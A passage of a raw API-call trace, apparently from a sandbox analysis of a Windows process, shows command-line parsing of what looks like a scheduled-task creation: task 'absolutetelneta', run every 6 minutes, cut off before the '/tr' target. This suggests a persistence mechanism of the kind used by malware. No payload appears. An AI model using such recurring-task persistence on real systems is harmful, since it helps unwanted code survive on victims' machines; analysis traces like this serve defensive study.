0x6088c49000 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] lstrlenW (lpString="absolutetelneta") returned 15 [0131.388] lstrlenW (lpString="-/") returned 2 [0131.388] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] lstrlenW (lpString="absolutetelneta") returned 15 [0131.388] StrChrIW (lpStart="absolutetelneta", wMatch=0x3a) returned 0x0 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.388] lstrlenW (lpString="absolutetelneta") returned 15 [0131.388] GetProcessHeap () returned 0x1ae83310000 [0131.388] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b530 [0131.389] GetProcessHeap () returned 0x1ae83310000 [0131.389] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b5c0 [0131.389] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.389] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.389] lstrlenW (lpString="/sc") returned 3 [0131.389] lstrlenW (lpString="-/") returned 2 [0131.389] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.389] lstrlenW (lpString="?") returned 1 [0131.389] lstrlenW (lpString="?") returned 1 [0131.389] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.389] lstrlenW (lpString="sc") returned 2 [0131.389] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.389] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|?|") returned 3 [0131.389] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|sc|") returned 4 [0131.389] lstrlenW (lpString="|?|") returned 3 [0131.389] lstrlenW (lpString="|sc|") returned 4 [0131.389] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.389] lstrlenW (lpString="create") returned 6 [0131.389] lstrlenW (lpString="create") returned 6 [0131.389] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.389] lstrlenW (lpString="sc") returned 2 [0131.389] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.389] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.389] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|sc|") returned 4 [0131.389] lstrlenW (lpString="|create|") returned 8 [0131.389] lstrlenW (lpString="|sc|") returned 4 [0131.389] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0131.389] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.389] lstrlenW (lpString="delete") returned 6 [0131.389] lstrlenW (lpString="delete") returned 6 [0131.390] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.390] lstrlenW (lpString="sc") returned 2 [0131.390] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.390] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|delete|") returned 8 [0131.390] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|sc|") returned 4 [0131.390] lstrlenW (lpString="|delete|") returned 8 [0131.390] lstrlenW (lpString="|sc|") returned 4 [0131.390] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0131.390] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.390] lstrlenW (lpString="query") returned 5 [0131.390] lstrlenW (lpString="query") returned 5 [0131.390] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.390] lstrlenW (lpString="sc") returned 2 [0131.390] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.390] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|query|") returned 7 [0131.390] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|sc|") returned 4 [0131.390] lstrlenW (lpString="|query|") returned 7 [0131.390] lstrlenW (lpString="|sc|") returned 4 [0131.390] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0131.390] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.390] lstrlenW (lpString="change") returned 6 [0131.390] lstrlenW (lpString="change") returned 6 [0131.390] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.390] lstrlenW (lpString="sc") returned 2 [0131.390] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.390] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|change|") returned 8 [0131.390] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|sc|") returned 4 [0131.391] lstrlenW (lpString="|change|") returned 8 [0131.391] lstrlenW (lpString="|sc|") returned 4 [0131.391] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0131.391] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.391] lstrlenW (lpString="run") returned 3 [0131.391] lstrlenW (lpString="run") returned 3 [0131.391] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.391] lstrlenW (lpString="sc") returned 2 [0131.391] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.391] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|run|") returned 5 [0131.391] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|sc|") returned 4 [0131.391] lstrlenW (lpString="|run|") returned 5 [0131.391] lstrlenW (lpString="|sc|") returned 4 [0131.391] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0131.391] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.391] lstrlenW (lpString="end") returned 3 [0131.391] lstrlenW (lpString="end") returned 3 [0131.391] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.391] lstrlenW (lpString="sc") returned 2 [0131.391] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.391] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|end|") returned 5 [0131.391] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|sc|") returned 4 [0131.391] lstrlenW (lpString="|end|") returned 5 [0131.391] lstrlenW (lpString="|sc|") returned 4 [0131.391] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0131.391] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.391] lstrlenW (lpString="showsid") returned 7 [0131.391] lstrlenW (lpString="showsid") returned 7 [0131.391] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.391] lstrlenW (lpString="sc") returned 2 [0131.391] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.392] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|showsid|") returned 9 [0131.392] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|sc|") returned 4 [0131.392] lstrlenW (lpString="|showsid|") returned 9 [0131.392] lstrlenW (lpString="|sc|") returned 4 [0131.392] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] lstrlenW (lpString="/sc") returned 3 [0131.392] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] lstrlenW (lpString="/sc") returned 3 [0131.392] GetProcessHeap () returned 0x1ae83310000 [0131.392] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x8) returned 0x1ae83313b70 [0131.392] GetProcessHeap () returned 0x1ae83310000 [0131.392] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331ba10 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] lstrlenW (lpString="MINUTE") returned 6 [0131.392] lstrlenW (lpString="-/") returned 2 [0131.392] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] lstrlenW (lpString="MINUTE") returned 6 [0131.392] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.392] lstrlenW (lpString="MINUTE") returned 6 [0131.392] GetProcessHeap () returned 0x1ae83310000 [0131.392] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xe) returned 0x1ae8331ab50 [0131.392] GetProcessHeap () returned 0x1ae83310000 [0131.393] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b4d0 [0131.393] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.393] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.393] lstrlenW (lpString="/mo") returned 3 [0131.393] lstrlenW (lpString="-/") returned 2 [0131.393] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.393] lstrlenW (lpString="?") returned 1 [0131.393] lstrlenW (lpString="?") returned 1 [0131.393] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.393] lstrlenW (lpString="mo") returned 2 [0131.393] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.393] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|?|") returned 3 [0131.393] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|mo|") returned 4 [0131.393] lstrlenW (lpString="|?|") returned 3 [0131.393] lstrlenW (lpString="|mo|") returned 4 [0131.393] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.393] lstrlenW (lpString="create") returned 6 [0131.393] lstrlenW (lpString="create") returned 6 [0131.393] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.393] lstrlenW (lpString="mo") returned 2 [0131.393] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.393] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.393] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|mo|") returned 4 [0131.393] lstrlenW (lpString="|create|") returned 8 [0131.393] lstrlenW (lpString="|mo|") returned 4 [0131.393] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0131.394] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.394] lstrlenW (lpString="delete") returned 6 [0131.394] lstrlenW (lpString="delete") returned 6 [0131.394] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.394] lstrlenW (lpString="mo") returned 2 [0131.394] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.394] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|delete|") returned 8 [0131.394] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|mo|") returned 4 [0131.394] lstrlenW (lpString="|delete|") returned 8 [0131.394] lstrlenW (lpString="|mo|") returned 4 [0131.394] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0131.394] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.394] lstrlenW (lpString="query") returned 5 [0131.394] lstrlenW (lpString="query") returned 5 [0131.394] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.394] lstrlenW (lpString="mo") returned 2 [0131.394] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.394] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|query|") returned 7 [0131.394] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|mo|") returned 4 [0131.394] lstrlenW (lpString="|query|") returned 7 [0131.394] lstrlenW (lpString="|mo|") returned 4 [0131.394] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0131.394] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.394] lstrlenW (lpString="change") returned 6 [0131.394] lstrlenW (lpString="change") returned 6 [0131.394] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.394] lstrlenW (lpString="mo") returned 2 [0131.394] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.394] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|change|") returned 8 [0131.394] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|mo|") returned 4 [0131.395] lstrlenW (lpString="|change|") returned 8 [0131.395] lstrlenW (lpString="|mo|") returned 4 [0131.395] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0131.395] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.395] lstrlenW (lpString="run") returned 3 [0131.395] lstrlenW (lpString="run") returned 3 [0131.395] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.395] lstrlenW (lpString="mo") returned 2 [0131.395] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.395] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|run|") returned 5 [0131.395] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|mo|") returned 4 [0131.395] lstrlenW (lpString="|run|") returned 5 [0131.395] lstrlenW (lpString="|mo|") returned 4 [0131.395] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0131.395] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.395] lstrlenW (lpString="end") returned 3 [0131.395] lstrlenW (lpString="end") returned 3 [0131.395] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.395] lstrlenW (lpString="mo") returned 2 [0131.395] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.395] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|end|") returned 5 [0131.395] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|mo|") returned 4 [0131.396] lstrlenW (lpString="|end|") returned 5 [0131.396] lstrlenW (lpString="|mo|") returned 4 [0131.396] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0131.396] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.396] lstrlenW (lpString="showsid") returned 7 [0131.396] lstrlenW (lpString="showsid") returned 7 [0131.396] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.396] lstrlenW (lpString="mo") returned 2 [0131.396] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.396] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|showsid|") returned 9 [0131.396] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|mo|") returned 4 [0131.396] lstrlenW (lpString="|showsid|") returned 9 [0131.396] lstrlenW (lpString="|mo|") returned 4 [0131.396] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0131.396] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.396] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.396] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.397] lstrlenW (lpString="/mo") returned 3 [0131.397] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0131.397] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.397] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.397] lstrlenW (lpString="/mo") returned 3 [0131.397] GetProcessHeap () returned 0x1ae83310000 [0131.397] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x8) returned 0x1ae83313b90 [0131.397] GetProcessHeap () returned 0x1ae83310000 [0131.397] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b500 [0131.397] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.398] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.398] lstrlenW (lpString="6") returned 1 [0131.398] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.398] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.398] lstrlenW (lpString="6") returned 1 [0131.398] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0131.398] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.398] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.398] lstrlenW (lpString="6") returned 1 [0131.398] GetProcessHeap () returned 0x1ae83310000 [0131.398] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x4) returned 0x1ae83313bb0 [0131.398] GetProcessHeap () returned 0x1ae83310000 [0131.398] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b380 [0131.398] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.398] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.398] lstrlenW (lpString="/tr") returned 3 [0131.398] lstrlenW (lpString="-/") returned 2 [0131.398] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0131.398] lstrlenW (lpString="?") returned 1 [0131.398] lstrlenW (lpString="?") returned 1 [0131.398] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.399] lstrlenW (lpString="tr") returned 2 [0131.399] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.399] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|?|") returned 3 [0131.399] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tr|") returned 4 [0131.399] lstrlenW (lpString="|?|") returned 3 [0131.399] lstrlenW (lpString="|tr|") returned 4 [0131.399] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.399] lstrlenW (lpString="create") returned 6 [0131.399] lstrlenW (lpString="create") returned 6 [0131.399] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.399] lstrlenW (lpString="tr") returned 2 [0131.399] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.399] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|create|") returned 8 [0131.399] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tr|") returned 4 [0131.399] lstrlenW (lpString="|create|") returned 8 [0131.399] lstrlenW (lpString="|tr|") returned 4 [0131.400] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0131.400] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.400] lstrlenW (lpString="delete") returned 6 [0131.400] lstrlenW (lpString="delete") returned 6 [0131.400] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.400] lstrlenW (lpString="tr") returned 2 [0131.400] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.400] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|delete|") returned 8 [0131.400] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tr|") returned 4 [0131.400] lstrlenW (lpString="|delete|") returned 8 [0131.400] lstrlenW (lpString="|tr|") returned 4 [0131.400] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0131.400] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.400] lstrlenW (lpString="query") returned 5 [0131.400] lstrlenW (lpString="query") returned 5 [0131.400] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.400] lstrlenW (lpString="tr") returned 2 [0131.400] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.401] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x8, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|query|") returned 7 [0131.401] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tr|") returned 4 [0131.401] lstrlenW (lpString="|query|") returned 7 [0131.401] lstrlenW (lpString="|tr|") returned 4 [0131.401] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0131.401] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.401] lstrlenW (lpString="change") returned 6 [0131.401] lstrlenW (lpString="change") returned 6 [0131.401] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.401] lstrlenW (lpString="tr") returned 2 [0131.401] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.401] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|change|") returned 8 [0131.401] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tr|") returned 4 [0131.401] lstrlenW (lpString="|change|") returned 8 [0131.401] lstrlenW (lpString="|tr|") returned 4 [0131.401] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0131.401] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.401] lstrlenW (lpString="run") returned 3 [0131.401] lstrlenW (lpString="run") returned 3 [0131.401] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.401] lstrlenW (lpString="tr") returned 2 [0131.401] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.401] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|run|") returned 5 [0131.401] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tr|") returned 4 [0131.401] lstrlenW (lpString="|run|") returned 5 [0131.401] lstrlenW (lpString="|tr|") returned 4 [0131.402] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0131.402] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.402] lstrlenW (lpString="end") returned 3 [0131.402] lstrlenW (lpString="end") returned 3 [0131.402] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.402] lstrlenW (lpString="tr") returned 2 [0131.402] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.402] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|end|") returned 5 [0131.402] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tr|") returned 4 [0131.402] lstrlenW (lpString="|end|") returned 5 [0131.402] lstrlenW (lpString="|tr|") returned 4 [0131.402] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0131.402] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.402] lstrlenW (lpString="showsid") returned 7 [0131.402] lstrlenW (lpString="showsid") returned 7 [0131.402] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.402] lstrlenW (lpString="tr") returned 2 [0131.402] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.402] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0xa, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|showsid|") returned 9 [0131.402] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7f4c8 | out: _Buffer="|tr|") returned 4 [0131.402] lstrlenW (lpString="|showsid|") returned 9 [0131.402] lstrlenW (lpString="|tr|") returned 4 [0131.403] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] lstrlenW (lpString="/tr") returned 3 [0131.403] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.403] lstrlenW (lpString="/tr") returned 3 [0131.403] GetProcessHeap () returned 0x1ae83310000 [0131.403] RtlAllocateHeap 